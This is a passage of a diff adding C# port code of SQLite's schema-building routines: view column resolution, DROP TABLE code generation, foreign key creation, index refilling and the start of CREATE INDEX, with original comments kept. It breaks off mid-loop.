/* Suppress error messages if VIEW already exists */ + ) + { + } +#endif // * SQLITE_OMIT_VIEW */ + +#if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_VIRTUALTABLE + /* +** The Table structure pTable is really a VIEW. Fill in the names of +** the columns of the view in the pTable structure. Return the number +** of errors. If an error is seen leave an error message in pParse.zErrMsg. +*/ + static int sqlite3ViewGetColumnNames( Parse pParse, Table pTable ) + { + Table pSelTab; /* A fake table from which we get the result set */ + Select pSel; /* Copy of the SELECT that implements the view */ + int nErr = 0; /* Number of errors encountered */ + int n; /* Temporarily holds the number of cursors assigned */ + sqlite3 db = pParse.db; /* Database connection for malloc errors */ + dxAuth xAuth; //)(void*,int,const char*,const char*,const char*,const char); + + Debug.Assert( pTable != null ); + +#if !SQLITE_OMIT_VIRTUALTABLE +if ( sqlite3VtabCallConnect( pParse, pTable )!=0 ) +{ +return SQLITE_ERROR; +} +#endif + if ( IsVirtual( pTable ) ) + return 0; + +#if !SQLITE_OMIT_VIEW + /* A positive nCol means the columns names for this view are +** already known. +*/ + if ( pTable.nCol > 0 ) + return 0; + + /* A negative nCol is a special marker meaning that we are currently + ** trying to compute the column names. If we enter this routine with + ** a negative nCol, it means two or more views form a loop, like this: + ** + ** CREATE VIEW one AS SELECT * FROM two; + ** CREATE VIEW two AS SELECT * FROM one; + ** + ** Actually, the error above is now caught prior to reaching this point. + ** But the following test is still important as it does come up + ** in the following: + ** + ** CREATE TABLE main.ex1(a); + ** CREATE TEMP VIEW ex1 AS SELECT a FROM ex1; + ** SELECT * FROM temp.ex1; + */ + if ( pTable.nCol < 0 ) + { + sqlite3ErrorMsg( pParse, "view %s is circularly defined", pTable.zName ); + return 1; + } + Debug.Assert( pTable.nCol >= 0 ); + + /* If we get this far, it means we need to compute the table names. + ** Note that the call to sqlite3ResultSetOfSelect() will expand any + ** "*" elements in the results set of the view and will assign cursors + ** to the elements of the FROM clause. But we do not want these changes + ** to be permanent. So the computation is done on a copy of the SELECT + ** statement that defines the view. + */ + Debug.Assert( pTable.pSelect != null ); + pSel = sqlite3SelectDup( db, pTable.pSelect, 0 ); + if ( pSel != null ) + { + u8 enableLookaside = db.lookaside.bEnabled; + n = pParse.nTab; + sqlite3SrcListAssignCursors( pParse, pSel.pSrc ); + pTable.nCol = -1; + db.lookaside.bEnabled = 0; +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +xAuth = db.xAuth; +db.xAuth = 0; +pSelTab = sqlite3ResultSetOfSelect(pParse, pSel); +db.xAuth = xAuth; +#else + pSelTab = sqlite3ResultSetOfSelect( pParse, pSel ); +#endif + db.lookaside.bEnabled = enableLookaside; + pParse.nTab = n; + if ( pSelTab != null ) + { + Debug.Assert( pTable.aCol == null ); + pTable.nCol = pSelTab.nCol; + pTable.aCol = pSelTab.aCol; + pSelTab.nCol = 0; + pSelTab.aCol = null; + sqlite3DeleteTable( db, ref pSelTab ); + Debug.Assert( sqlite3SchemaMutexHeld( db, 0, pTable.pSchema ) ); + pTable.pSchema.flags |= DB_UnresetViews; + } + else + { + pTable.nCol = 0; + nErr++; + } + sqlite3SelectDelete( db, ref pSel ); + } + else + { + nErr++; + } +#endif // * SQLITE_OMIT_VIEW */ + return nErr; + } +#endif // * !SQLITE_OMIT_VIEW) || !SQLITE_OMIT_VIRTUALTABLE) */ + +#if !SQLITE_OMIT_VIEW + /* +** Clear the column names from every VIEW in database idx. +*/ + static void sqliteViewResetAll( sqlite3 db, int idx ) + { + HashElem i; + Debug.Assert( sqlite3SchemaMutexHeld( db, idx, null ) ); + if ( !DbHasProperty( db, idx, DB_UnresetViews ) ) + return; + //for(i=sqliteHashFirst(&db.aDb[idx].pSchema.tblHash); i;i=sqliteHashNext(i)){ + for ( i = db.aDb[idx].pSchema.tblHash.first; i != null; i = i.next ) + { + Table pTab = (Table)i.data;// sqliteHashData( i ); + if ( pTab.pSelect != null ) + { + sqliteDeleteColumnNames( db, pTab ); + pTab.aCol = null; + pTab.nCol = 0; + + } + } + DbClearProperty( db, idx, DB_UnresetViews ); + } +#else + //# define sqliteViewResetAll(A,B) + static void sqliteViewResetAll( sqlite3 A, int B ) + { + } +#endif // * SQLITE_OMIT_VIEW */ + + /* +** This function is called by the VDBE to adjust the internal schema +** used by SQLite when the btree layer moves a table root page. The +** root-page of a table or index in database iDb has changed from iFrom +** to iTo. +** +** Ticket #1728: The symbol table might still contain information +** on tables and/or indices that are the process of being deleted. +** If you are unlucky, one of those deleted indices or tables might +** have the same rootpage number as the real table or index that is +** being moved. So we cannot stop searching after the first match +** because the first match might be for one of the deleted indices +** or tables and not the table/index that is actually being moved. +** We must continue looping until all tables and indices with +** rootpage==iFrom have been converted to have a rootpage of iTo +** in order to be certain that we got the right one. +*/ +#if !SQLITE_OMIT_AUTOVACUUM + static void sqlite3RootPageMoved( sqlite3 db, int iDb, int iFrom, int iTo ) + { + HashElem pElem; + Hash pHash; + Db pDb; + + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + pDb = db.aDb[iDb]; + + pHash = pDb.pSchema.tblHash; + for ( pElem = pHash.first; pElem != null; pElem = pElem.next )// ( pElem = sqliteHashFirst( pHash ) ; pElem ; pElem = sqliteHashNext( pElem ) ) + { + Table pTab = (Table)pElem.data;// sqliteHashData( pElem ); + if ( pTab.tnum == iFrom ) + { + pTab.tnum = iTo; + } + } + pHash = pDb.pSchema.idxHash; + for ( pElem = pHash.first; pElem != null; pElem = pElem.next )// ( pElem = sqliteHashFirst( pHash ) ; pElem ; pElem = sqliteHashNext( pElem ) ) + { + Index pIdx = (Index)pElem.data;// sqliteHashData( pElem ); + if ( pIdx.tnum == iFrom ) + { + pIdx.tnum = iTo; + } + } + } +#endif + + /* +** Write code to erase the table with root-page iTable from database iDb. +** Also write code to modify the sqlite_master table and internal schema +** if a root-page of another table is moved by the btree-layer whilst +** erasing iTable (this can happen with an auto-vacuum database). +*/ + static void destroyRootPage( Parse pParse, int iTable, int iDb ) + { + Vdbe v = sqlite3GetVdbe( pParse ); + int r1 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp3( v, OP_Destroy, iTable, r1, iDb ); + sqlite3MayAbort( pParse ); +#if !SQLITE_OMIT_AUTOVACUUM + /* OP_Destroy stores an in integer r1. If this integer +** is non-zero, then it is the root page number of a table moved to +** location iTable. The following code modifies the sqlite_master table to +** reflect this. +** +** The "#NNN" in the SQL is a special constant that means whatever value +** is in register NNN. See grammar rules associated with the TK_REGISTER +** token for additional information. +*/ + sqlite3NestedParse( pParse, + "UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d", + pParse.db.aDb[iDb].zName, SCHEMA_TABLE( iDb ), iTable, r1, r1 ); +#endif + sqlite3ReleaseTempReg( pParse, r1 ); + } + + /* + ** Write VDBE code to erase table pTab and all associated indices on disk. + ** Code to update the sqlite_master tables and internal schema definitions + ** in case a root-page belonging to another table is moved by the btree layer + ** is also added (this can happen with an auto-vacuum database). + */ + static void destroyTable( Parse pParse, Table pTab ) + { +#if SQLITE_OMIT_AUTOVACUUM +Index pIdx; +int iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); +destroyRootPage( pParse, pTab.tnum, iDb ); +for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) +{ +destroyRootPage( pParse, pIdx.tnum, iDb ); +} +#else + /* If the database may be auto-vacuum capable (if SQLITE_OMIT_AUTOVACUUM +** is not defined), then it is important to call OP_Destroy on the +** table and index root-pages in order, starting with the numerically +** largest root-page number. This guarantees that none of the root-pages +** to be destroyed is relocated by an earlier OP_Destroy. i.e. if the +** following were coded: +** +** OP_Destroy 4 0 +** ... +** OP_Destroy 5 0 +** +** and root page 5 happened to be the largest root-page number in the +** database, then root page 5 would be moved to page 4 by the +** "OP_Destroy 4 0" opcode. The subsequent "OP_Destroy 5 0" would hit +** a free-list page. +*/ + int iTab = pTab.tnum; + int iDestroyed = 0; + + while ( true ) + { + Index pIdx; + int iLargest = 0; + + if ( iDestroyed == 0 || iTab < iDestroyed ) + { + iLargest = iTab; + } + for ( pIdx = pTab.pIndex; pIdx != null; pIdx = pIdx.pNext ) + { + int iIdx = pIdx.tnum; + Debug.Assert( pIdx.pSchema == pTab.pSchema ); + if ( ( iDestroyed == 0 || ( iIdx < iDestroyed ) ) && iIdx > iLargest ) + { + iLargest = iIdx; + } + } + if ( iLargest == 0 ) + { + return; + } + else + { + int iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); + destroyRootPage( pParse, iLargest, iDb ); + iDestroyed = iLargest; + } + } +#endif + } + + /* + ** This routine is called to do the work of a DROP TABLE statement. + ** pName is the name of the table to be dropped. + */ + static void sqlite3DropTable( Parse pParse, SrcList pName, int isView, int noErr ) + { + Table pTab; + Vdbe v; + sqlite3 db = pParse.db; + int iDb; + + //if ( db.mallocFailed != 0 ) + //{ + // goto exit_drop_table; + //} + Debug.Assert( pParse.nErr == 0 ); + Debug.Assert( pName.nSrc == 1 ); + if ( noErr != 0 ) + db.suppressErr++; + pTab = sqlite3LocateTable( pParse, isView, + pName.a[0].zName, pName.a[0].zDatabase ); + if ( noErr != 0 ) + db.suppressErr--; + + if ( pTab == null ) + { + if ( noErr != 0) + sqlite3CodeVerifyNamedSchema( pParse, pName.a[0].zDatabase ); + goto exit_drop_table; + } + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + Debug.Assert( iDb >= 0 && iDb < db.nDb ); + + /* If pTab is a virtual table, call ViewGetColumnNames() to ensure + ** it is initialized. + */ + if ( IsVirtual( pTab ) && sqlite3ViewGetColumnNames( pParse, pTab ) != 0 ) + { + goto exit_drop_table; + } +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +{ +int code; +string zTab = SCHEMA_TABLE(iDb); +string zDb = db.aDb[iDb].zName; +string zArg2 = 0; +if( sqlite3AuthCheck(pParse, SQLITE_DELETE, zTab, 0, zDb)){ +goto exit_drop_table; +} +if( isView ){ +if( OMIT_TEMPDB ==0&& iDb==1 ){ +code = SQLITE_DROP_TEMP_VIEW; +}else{ +code = SQLITE_DROP_VIEW; +} +}else if( IsVirtual(pTab) ){ +code = SQLITE_DROP_VTABLE; +zArg2 = sqlite3GetVTable(db, pTab)->pMod->zName; +}else{ +if( OMIT_TEMPDB ==0&& iDb==1 ){ +code = SQLITE_DROP_TEMP_TABLE; +}else{ +code = SQLITE_DROP_TABLE; +} +} +if( sqlite3AuthCheck(pParse, code, pTab.zName, zArg2, zDb) ){ +goto exit_drop_table; +} +if( sqlite3AuthCheck(pParse, SQLITE_DELETE, pTab.zName, 0, zDb) ){ +goto exit_drop_table; +} +} +#endif + if ( pTab.zName.StartsWith( "sqlite_", System.StringComparison.InvariantCultureIgnoreCase ) ) + { + sqlite3ErrorMsg( pParse, "table %s may not be dropped", pTab.zName ); + goto exit_drop_table; + } + +#if !SQLITE_OMIT_VIEW + /* Ensure DROP TABLE is not used on a view, and DROP VIEW is not used +** on a table. +*/ + if ( isView != 0 && pTab.pSelect == null ) + { + sqlite3ErrorMsg( pParse, "use DROP TABLE to delete table %s", pTab.zName ); + goto exit_drop_table; + } + if ( 0 == isView && pTab.pSelect != null ) + { + sqlite3ErrorMsg( pParse, "use DROP VIEW to delete view %s", pTab.zName ); + goto exit_drop_table; + } +#endif + + /* Generate code to remove the table from the master table +** on disk. +*/ + v = sqlite3GetVdbe( pParse ); + if ( v != null ) + { + Trigger pTrigger; + Db pDb = db.aDb[iDb]; + sqlite3BeginWriteOperation( pParse, 1, iDb ); + +#if !SQLITE_OMIT_VIRTUALTABLE + if ( IsVirtual( pTab ) ) + { + sqlite3VdbeAddOp0( v, OP_VBegin ); + } +#endif + sqlite3FkDropTable( pParse, pName, pTab ); + + /* Drop all triggers associated with the table being dropped. Code + ** is generated to remove entries from sqlite_master and/or + ** sqlite_temp_master if required. + */ + pTrigger = sqlite3TriggerList( pParse, pTab ); + while ( pTrigger != null ) + { + Debug.Assert( pTrigger.pSchema == pTab.pSchema || + pTrigger.pSchema == db.aDb[1].pSchema ); + sqlite3DropTriggerPtr( pParse, pTrigger ); + pTrigger = pTrigger.pNext; + } + +#if !SQLITE_OMIT_AUTOINCREMENT + /* Remove any entries of the sqlite_sequence table associated with +** the table being dropped. This is done before the table is dropped +** at the btree level, in case the sqlite_sequence table needs to +** move as a result of the drop (can happen in auto-vacuum mode). +*/ + if ( ( pTab.tabFlags & TF_Autoincrement ) != 0 ) + { + sqlite3NestedParse( pParse, + "DELETE FROM %s.sqlite_sequence WHERE name=%Q", + pDb.zName, pTab.zName + ); + } +#endif + + /* Drop all SQLITE_MASTER table and index entries that refer to the +** table. The program name loops through the master table and deletes +** every row that refers to a table of the same name as the one being +** dropped. Triggers are handled seperately because a trigger can be +** created in the temp database that refers to a table in another +** database. +*/ + sqlite3NestedParse( pParse, + "DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'", + pDb.zName, SCHEMA_TABLE( iDb ), pTab.zName ); + + /* Drop any statistics from the sqlite_stat1 table, if it exists */ + if ( sqlite3FindTable( db, "sqlite_stat1", db.aDb[iDb].zName ) != null ) + { + sqlite3NestedParse( pParse, + "DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q", pDb.zName, pTab.zName + ); + } + + if ( 0 == isView && !IsVirtual( pTab ) ) + { + destroyTable( pParse, pTab ); + } + + /* Remove the table entry from SQLite's internal schema and modify + ** the schema cookie. + */ + if ( IsVirtual( pTab ) ) + { + sqlite3VdbeAddOp4( v, OP_VDestroy, iDb, 0, 0, pTab.zName, 0 ); + } + sqlite3VdbeAddOp4( v, OP_DropTable, iDb, 0, 0, pTab.zName, 0 ); + sqlite3ChangeCookie( pParse, iDb ); + } + sqliteViewResetAll( db, iDb ); + +exit_drop_table: + sqlite3SrcListDelete( db, ref pName ); + } + + /* + ** This routine is called to create a new foreign key on the table + ** currently under construction. pFromCol determines which columns + ** in the current table point to the foreign key. If pFromCol==0 then + ** connect the key to the last column inserted. pTo is the name of + ** the table referred to. pToCol is a list of tables in the other + ** pTo table that the foreign key points to. flags contains all + ** information about the conflict resolution algorithms specified + ** in the ON DELETE, ON UPDATE and ON INSERT clauses. + ** + ** An FKey structure is created and added to the table currently + ** under construction in the pParse.pNewTable field. + ** + ** The foreign key is set for IMMEDIATE processing. A subsequent call + ** to sqlite3DeferForeignKey() might change this to DEFERRED. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static void sqlite3CreateForeignKey( Parse pParse, int null_2, Token pTo, ExprList pToCol, int flags ) + { + sqlite3CreateForeignKey( pParse, null, pTo, pToCol, flags ); + } + static void sqlite3CreateForeignKey( + Parse pParse, /* Parsing context */ + ExprList pFromCol, /* Columns in this table that point to other table */ + Token pTo, /* Name of the other table */ + ExprList pToCol, /* Columns in the other table */ + int flags /* Conflict resolution algorithms. */ + ) + { + sqlite3 db = pParse.db; +#if !SQLITE_OMIT_FOREIGN_KEY + FKey pFKey = null; + FKey pNextTo; + Table p = pParse.pNewTable; + int nByte; + int i; + int nCol; + //string z; + + Debug.Assert( pTo != null ); + if ( p == null || IN_DECLARE_VTAB( pParse ) ) + goto fk_end; + if ( pFromCol == null ) + { + int iCol = p.nCol - 1; + if ( NEVER( iCol < 0 ) ) + goto fk_end; + if ( pToCol != null && pToCol.nExpr != 1 ) + { + sqlite3ErrorMsg( pParse, "foreign key on %s" + + " should reference only one column of table %T", + p.aCol[iCol].zName, pTo ); + goto fk_end; + } + nCol = 1; + } + else if ( pToCol != null && pToCol.nExpr != pFromCol.nExpr ) + { + sqlite3ErrorMsg( pParse, + "number of columns in foreign key does not match the number of " + + "columns in the referenced table" ); + goto fk_end; + } + else + { + nCol = pFromCol.nExpr; + } + //nByte = sizeof(*pFKey) + (nCol-1)*sizeof(pFKey.aCol[0]) + pTo.n + 1; + //if( pToCol ){ + // for(i=0; ia[i].zName) + 1; + // } + //} + pFKey = new FKey();//sqlite3DbMallocZero(db, nByte ); + if ( pFKey == null ) + { + goto fk_end; + } + pFKey.pFrom = p; + pFKey.pNextFrom = p.pFKey; + //z = pFKey.aCol[nCol].zCol; + pFKey.aCol = new FKey.sColMap[nCol];// z; + pFKey.aCol[0] = new FKey.sColMap(); + pFKey.zTo = pTo.z.Substring( 0, pTo.n ); //memcpy( z, pTo.z, pTo.n ); + //z[pTo.n] = 0; + sqlite3Dequote( ref pFKey.zTo ); + //z += pTo.n + 1; + pFKey.nCol = nCol; + if ( pFromCol == null ) + { + pFKey.aCol[0].iFrom = p.nCol - 1; + } + else + { + for ( i = 0; i < nCol; i++ ) + { + if ( pFKey.aCol[i] == null ) + pFKey.aCol[i] = new FKey.sColMap(); + int j; + for ( j = 0; j < p.nCol; j++ ) + { + if ( p.aCol[j].zName.Equals( pFromCol.a[i].zName, StringComparison.InvariantCultureIgnoreCase ) ) + { + pFKey.aCol[i].iFrom = j; + break; + } + } + if ( j >= p.nCol ) + { + sqlite3ErrorMsg( pParse, + "unknown column \"%s\" in foreign key definition", + pFromCol.a[i].zName ); + goto fk_end; + } + } + } + if ( pToCol != null ) + { + for ( i = 0; i < nCol; i++ ) + { + int n = sqlite3Strlen30( pToCol.a[i].zName ); + if ( pFKey.aCol[i] == null ) + pFKey.aCol[i] = new FKey.sColMap(); + pFKey.aCol[i].zCol = pToCol.a[i].zName; + //memcpy( z, pToCol.a[i].zName, n ); + //z[n] = 0; + //z += n + 1; + } + } + pFKey.isDeferred = 0; + pFKey.aAction[0] = (u8)( flags & 0xff ); /* ON DELETE action */ + pFKey.aAction[1] = (u8)( ( flags >> 8 ) & 0xff ); /* ON UPDATE action */ + + Debug.Assert( sqlite3SchemaMutexHeld( db, 0, p.pSchema ) ); + pNextTo = sqlite3HashInsert( ref p.pSchema.fkeyHash, + pFKey.zTo, sqlite3Strlen30( pFKey.zTo ), pFKey + ); + //if( pNextTo==pFKey ){ + // db.mallocFailed = 1; + // goto fk_end; + //} + if ( pNextTo != null ) + { + Debug.Assert( pNextTo.pPrevTo == null ); + pFKey.pNextTo = pNextTo; + pNextTo.pPrevTo = pFKey; + } + /* Link the foreign key to the table as the last step. + */ + p.pFKey = pFKey; + pFKey = null; + +fk_end: + sqlite3DbFree( db, ref pFKey ); +#endif // * !SQLITE_OMIT_FOREIGN_KEY) */ + sqlite3ExprListDelete( db, ref pFromCol ); + sqlite3ExprListDelete( db, ref pToCol ); + } + + /* + ** This routine is called when an INITIALLY IMMEDIATE or INITIALLY DEFERRED + ** clause is seen as part of a foreign key definition. The isDeferred + ** parameter is 1 for INITIALLY DEFERRED and 0 for INITIALLY IMMEDIATE. + ** The behavior of the most recently created foreign key is adjusted + ** accordingly. + */ + static void sqlite3DeferForeignKey( Parse pParse, int isDeferred ) + { +#if !SQLITE_OMIT_FOREIGN_KEY + Table pTab; + FKey pFKey; + if ( ( pTab = pParse.pNewTable ) == null || ( pFKey = pTab.pFKey ) == null ) + return; + Debug.Assert( isDeferred == 0 || isDeferred == 1 ); /* EV: R-30323-21917 */ + pFKey.isDeferred = (u8)isDeferred; +#endif + } + + /* + ** Generate code that will erase and refill index pIdx. This is + ** used to initialize a newly created index or to recompute the + ** content of an index in response to a REINDEX command. + ** + ** if memRootPage is not negative, it means that the index is newly + ** created. The register specified by memRootPage contains the + ** root page number of the index. If memRootPage is negative, then + ** the index already exists and must be cleared before being refilled and + ** the root page number of the index is taken from pIndex.tnum. + */ + static void sqlite3RefillIndex( Parse pParse, Index pIndex, int memRootPage ) + { + Table pTab = pIndex.pTable; /* The table that is indexed */ + int iTab = pParse.nTab++; /* Btree cursor used for pTab */ + int iIdx = pParse.nTab++; /* Btree cursor used for pIndex */ + int addr1; /* Address of top of loop */ + int tnum; /* Root page of index */ + Vdbe v; /* Generate code into this virtual machine */ + KeyInfo pKey; /* KeyInfo for index */ + int regIdxKey; /* Registers containing the index key */ + int regRecord; /* Register holding assemblied index record */ + sqlite3 db = pParse.db; /* The database connection */ + int iDb = sqlite3SchemaToIndex( db, pIndex.pSchema ); + +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +if( sqlite3AuthCheck(pParse, SQLITE_REINDEX, pIndex.zName, 0, +db.aDb[iDb].zName ) ){ +return; +} +#endif + + /* Require a write-lock on the table to perform this operation */ + sqlite3TableLock( pParse, iDb, pTab.tnum, 1, pTab.zName ); + v = sqlite3GetVdbe( pParse ); + if ( v == null ) + return; + if ( memRootPage >= 0 ) + { + tnum = memRootPage; + } + else + { + tnum = pIndex.tnum; + sqlite3VdbeAddOp2( v, OP_Clear, tnum, iDb ); + } + pKey = sqlite3IndexKeyinfo( pParse, pIndex ); + sqlite3VdbeAddOp4( v, OP_OpenWrite, iIdx, tnum, iDb, + pKey, P4_KEYINFO_HANDOFF ); + if ( memRootPage >= 0 ) + { + sqlite3VdbeChangeP5( v, 1 ); + } + sqlite3OpenTable( pParse, iTab, iDb, pTab, OP_OpenRead ); + addr1 = sqlite3VdbeAddOp2( v, OP_Rewind, iTab, 0 ); + regRecord = sqlite3GetTempReg( pParse ); + regIdxKey = sqlite3GenerateIndexKey( pParse, pIndex, iTab, regRecord, true ); + if ( pIndex.onError != OE_None ) + { + int regRowid = regIdxKey + pIndex.nColumn; + int j2 = sqlite3VdbeCurrentAddr( v ) + 2; + int pRegKey = regIdxKey;// SQLITE_INT_TO_PTR( regIdxKey ); + + /* The registers accessed by the OP_IsUnique opcode were allocated + ** using sqlite3GetTempRange() inside of the sqlite3GenerateIndexKey() + ** call above. Just before that function was freed they were released + ** (made available to the compiler for reuse) using + ** sqlite3ReleaseTempRange(). So in some ways having the OP_IsUnique + ** opcode use the values stored within seems dangerous. However, since + ** we can be sure that no other temp registers have been allocated + ** since sqlite3ReleaseTempRange() was called, it is safe to do so. + */ + sqlite3VdbeAddOp4( v, OP_IsUnique, iIdx, j2, regRowid, pRegKey, P4_INT32 ); + sqlite3HaltConstraint( + pParse, OE_Abort, "indexed columns are not unique", P4_STATIC ); + } + sqlite3VdbeAddOp2( v, OP_IdxInsert, iIdx, regRecord ); + sqlite3VdbeChangeP5( v, OPFLAG_USESEEKRESULT ); + sqlite3ReleaseTempReg( pParse, regRecord ); + sqlite3VdbeAddOp2( v, OP_Next, iTab, addr1 + 1 ); + sqlite3VdbeJumpHere( v, addr1 ); + sqlite3VdbeAddOp1( v, OP_Close, iTab ); + sqlite3VdbeAddOp1( v, OP_Close, iIdx ); + } + + /* + ** Create a new index for an SQL table. pName1.pName2 is the name of the index + ** and pTblList is the name of the table that is to be indexed. Both will + ** be NULL for a primary key or an index that is created to satisfy a + ** UNIQUE constraint. If pTable and pIndex are NULL, use pParse.pNewTable + ** as the table to be indexed. pParse.pNewTable is a table that is + ** currently being constructed by a CREATE TABLE statement. + ** + ** pList is a list of columns to be indexed. pList will be NULL if this + ** is a primary key or unique-constraint on the most recent column added + ** to the table currently under construction. + ** + ** If the index is created successfully, return a pointer to the new Index + ** structure. This is used by sqlite3AddPrimaryKey() to mark the index + ** as the tables primary key (Index.autoIndex==2). + */ + // OVERLOADS, so I don't need to rewrite parse.c + static Index sqlite3CreateIndex( Parse pParse, int null_2, int null_3, int null_4, int null_5, int onError, int null_7, int null_8, int sortOrder, int ifNotExist ) + { + return sqlite3CreateIndex( pParse, null, null, null, null, onError, null, null, sortOrder, ifNotExist ); + } + static Index sqlite3CreateIndex( Parse pParse, int null_2, int null_3, int null_4, ExprList pList, int onError, int null_7, int null_8, int sortOrder, int ifNotExist ) + { + return sqlite3CreateIndex( pParse, null, null, null, pList, onError, null, null, sortOrder, ifNotExist ); + } + static Index sqlite3CreateIndex( + Parse pParse, /* All information about this Parse */ + Token pName1, /* First part of index name. May be NULL */ + Token pName2, /* Second part of index name. May be NULL */ + SrcList pTblName, /* Table to index. Use pParse.pNewTable if 0 */ + ExprList pList, /* A list of columns to be indexed */ + int onError, /* OE_Abort, OE_Ignore, OE_Replace, or OE_None */ + Token pStart, /* The CREATE token that begins this statement */ + Token pEnd, /* The ")" that closes the CREATE INDEX statement */ + int sortOrder, /* Sort order of primary key when pList==NULL */ + int ifNotExist /* Omit error if index already exists */ + ) + { + Index pRet = null; /* Pointer to return */ + Table pTab = null; /* Table to be indexed */ + Index pIndex = null; /* The index to be created */ + string zName = null; /* Name of the index */ + int nName; /* Number of characters in zName */ + int i, j; + Token nullId = new Token(); /* Fake token for an empty ID list */ + DbFixer sFix = new DbFixer(); /* For assigning database names to pTable */ + int sortOrderMask; /* 1 to honor DESC in index. 0 to ignore. */ + sqlite3 db = pParse.db; + Db pDb; /* The specific table containing the indexed database */ + int iDb; /* Index of the database that is being written */ + Token pName = null; /* Unqualified name of the index to create */ + ExprList_item pListItem; /* For looping over pList */ + int nCol; + int nExtra = 0; + StringBuilder zExtra = new StringBuilder(); + + Debug.Assert( pStart == null || pEnd != null ); /* pEnd must be non-NULL if pStart is */ + Debug.Assert( pParse.nErr == 0 ); /* Never called with prior errors */ + if ( /* db.mallocFailed != 0 || */ + IN_DECLARE_VTAB( pParse ) ) + { + goto exit_create_index; + } + if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) + { + goto exit_create_index; + } + + /* + ** Find the table that is to be indexed. Return early if not found. + */ + if ( pTblName != null ) + { + + /* Use the two-part index name to determine the database + ** to search for the table. 'Fix' the table name to this db + ** before looking up the table. + */ + Debug.Assert( pName1 != null && pName2 != null ); + iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref pName ); + if ( iDb < 0 ) + goto exit_create_index; + +#if !SQLITE_OMIT_TEMPDB + /* If the index name was unqualified, check if the the table +** is a temp table. If so, set the database to 1. Do not do this +** if initialising a database schema. +*/ + if ( 0 == db.init.busy ) + { + pTab = sqlite3SrcListLookup( pParse, pTblName ); + if ( pName2.n == 0 && pTab != null && pTab.pSchema == db.aDb[1].pSchema ) + { + iDb = 1; + } + } +#endif + + if ( sqlite3FixInit( sFix, pParse, iDb, "index", pName ) != 0 && + sqlite3FixSrcList( sFix, pTblName ) != 0 + ) + { + /* Because the parser constructs pTblName from a single identifier, + ** sqlite3FixSrcList can never fail. */ + Debugger.Break(); + } + pTab = sqlite3LocateTable( pParse, 0, pTblName.a[0].zName, + pTblName.a[0].zDatabase ); + if ( pTab == null /*|| db.mallocFailed != 0 */ ) + goto exit_create_index; + Debug.Assert( db.aDb[iDb].pSchema == pTab.pSchema ); + } + else + { + Debug.Assert( pName == null ); + pTab = pParse.pNewTable; + if ( pTab == null ) + goto exit_create_index; + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + } + pDb = db.aDb[iDb]; + + Debug.Assert( pTab != null ); + Debug.Assert( pParse.nErr == 0 ); + + if ( pTab.zName.StartsWith( "sqlite_", System.StringComparison.InvariantCultureIgnoreCase ) + && !pTab.zName.StartsWith( "sqlite_altertab_", System.StringComparison.InvariantCultureIgnoreCase ) ) + { + sqlite3ErrorMsg( pParse, "table %s may not be indexed", pTab.zName ); + goto exit_create_index; + } +#if !SQLITE_OMIT_VIEW + if ( pTab.pSelect != null ) + { + sqlite3ErrorMsg( pParse, "views may not be indexed" ); + goto exit_create_index; + } +#endif + if ( IsVirtual( pTab ) ) + { + sqlite3ErrorMsg( pParse, "virtual tables may not be indexed" ); + goto exit_create_index; + } + + /* + ** Find the name of the index. Make sure there is not already another + ** index or table with the same name. + ** + ** Exception: If we are reading the names of permanent indices from the + ** sqlite_master table (because some other process changed the schema) and + ** one of the index names collides with the name of a temporary table or + ** index, then we will continue to process this index. + ** + ** If pName==0 it means that we are + ** dealing with a primary key or UNIQUE constraint. We have to invent our + ** own name. + */ + if ( pName != null ) + { + zName = sqlite3NameFromToken( db, pName ); + if ( zName == null ) + goto exit_create_index; + if ( SQLITE_OK != sqlite3CheckObjectName( pParse, zName ) ) + { + goto exit_create_index; + } + if ( 0 == db.init.busy ) + { + if ( sqlite3FindTable( db, zName, null ) != null ) + { + sqlite3ErrorMsg( pParse, "there is already a table named %s", zName ); + goto exit_create_index; + } + } + if ( sqlite3FindIndex( db, zName, pDb.zName ) != null ) + { + if ( ifNotExist == 0 ) + { + sqlite3ErrorMsg( pParse, "index %s already exists", zName ); + } + else + { + Debug.Assert( 0 == db.init.busy ); + sqlite3CodeVerifySchema( pParse, iDb ); + } + goto exit_create_index; + } + } + else + { + int n = 0; + Index pLoop; + for ( pLoop = pTab.pIndex, n = 1; pLoop != null; pLoop = pLoop.pNext, n++ ) + { + } + zName = sqlite3MPrintf( db, "sqlite_autoindex_%s_%d", pTab.zName, n ); + if ( zName == null ) + { + goto exit_create_index; + } + } + + /* Check for authorization to create an index. + */ +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +{ +string zDb = pDb.zName; +if( sqlite3AuthCheck(pParse, SQLITE_INSERT, SCHEMA_TABLE(iDb), 0, zDb) ){ +goto exit_create_index; +} +i = SQLITE_CREATE_INDEX; +if( OMIT_TEMPDB ==0&& iDb==1 ) i = SQLITE_CREATE_TEMP_INDEX; +if( sqlite3AuthCheck(pParse, i, zName, pTab.zName, zDb) ){ +goto exit_create_index; +} +} +#endif + + /* If pList==0, it means this routine was called to make a primary +** key out of the last column added to the table under construction. +** So create a fake list to simulate this. +*/ + if ( pList == null ) + { + nullId.z = pTab.aCol[pTab.nCol - 1].zName; + nullId.n = sqlite3Strlen30( nullId.z ); + pList = sqlite3ExprListAppend( pParse, null, null ); + if ( pList == null ) + goto exit_create_index; + sqlite3ExprListSetName( pParse, pList, nullId, 0 ); + pList.a[0].sortOrder = (u8)sortOrder; + } + + /* Figure out how many bytes of space are required to store explicitly + ** specified collation sequence names. + */ + for ( i = 0; i < pList.nExpr; 